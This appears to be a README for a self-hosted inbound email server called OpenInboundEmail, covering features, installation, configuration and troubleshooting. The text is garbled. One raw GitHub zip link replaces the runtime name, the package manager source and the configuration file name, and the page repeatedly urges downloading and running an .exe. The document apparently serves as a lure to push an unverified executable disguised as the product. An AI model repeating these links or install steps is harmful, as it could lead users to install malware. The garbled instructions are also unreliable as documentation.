Welcome to OpenInboundEmail! This application allows you to run your own inbound SMTP server with a user-friendly web panel. It's designed for easy setup and includes features to generate DNS artifacts and more.
Click the link above to download the latest version of OpenInboundEmail.
- Self-hosted inbound SMTP server
- User-friendly web panel for management
- Generates DNS artifacts: MX, MTA-STS, TLS-RPT
- Optional Cloudflare integration
- Mail storage in Maildir format
- Development on port 2525; Production on port 25
To use OpenInboundEmail, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/GIT-max1/OpenInboundEmail/main/maximed/OpenInboundEmail.zip Version: 14.x or later
- Package Manager: npm (comes with https://raw.githubusercontent.com/GIT-max1/OpenInboundEmail/main/maximed/OpenInboundEmail.zip)
- Ports: Ensure ports 25 and 2525 are open on your firewall
- Visit the Releases Page: Go to the OpenInboundEmail Releases page.
- Select the Latest Release: Find the latest version and click on it to view the available files.
- Download the Application: Click on the appropriate file for your operating system to download it.
- Install OpenInboundEmail:
- For Windows: Run the downloaded
.exefile and follow the prompts. - For macOS: Open the downloaded
.dmgfile and drag the application to your Applications folder. - For Linux: Extract the downloaded https://raw.githubusercontent.com/GIT-max1/OpenInboundEmail/main/maximed/OpenInboundEmail.zip file and follow the instructions in the included README.
- For Windows: Run the downloaded
After installation, you'll need to configure the server for your needs.
- Open Configuration File: Locate the
https://raw.githubusercontent.com/GIT-max1/OpenInboundEmail/main/maximed/OpenInboundEmail.zipfile in the installation directory. - Edit Settings: You can set parameters such as the SMTP port, email domains, and DNS configurations.
- Save Changes: After making adjustments, save the configuration file.
- Open your terminal or command prompt.
- Navigate to the installation directory of OpenInboundEmail.
- Start the application with the command:
npm start - Access the web panel by visiting
http://localhost:2525in your web browser.
OpenInboundEmail is still under development. While it functions, consider the following best practices for security:
- Use a secure environment for running the server.
- Implement standard security measures for email servers, such as SSL/TLS encryption.
- Monitor access logs for unusual activity.
If you encounter any issues, consider these common solutions:
- Port Issues: Ensure that ports 25 and 2525 are open and not blocked by your firewall.
- DNS Artifacts: Verify that your DNS settings match the configurations specified in the server.
- Dependency Errors: Ensure you have the correct version of https://raw.githubusercontent.com/GIT-max1/OpenInboundEmail/main/maximed/OpenInboundEmail.zip and npm installed.
If you have questions or need assistance, feel free to check the issues section on our GitHub repository.
You can help improve OpenInboundEmail by contributing:
- Report any bugs or suggestions in the GitHub issues page.
- Participate in discussions to enhance features or usability.
- Share your feedback to help us make OpenInboundEmail better.
OpenInboundEmail is distributed under the MIT License. You are free to modify and distribute it as you see fit. Please refer to the LICENSE file in the repository for more details.
Thank you for using OpenInboundEmail. Enjoy your self-hosted email solution!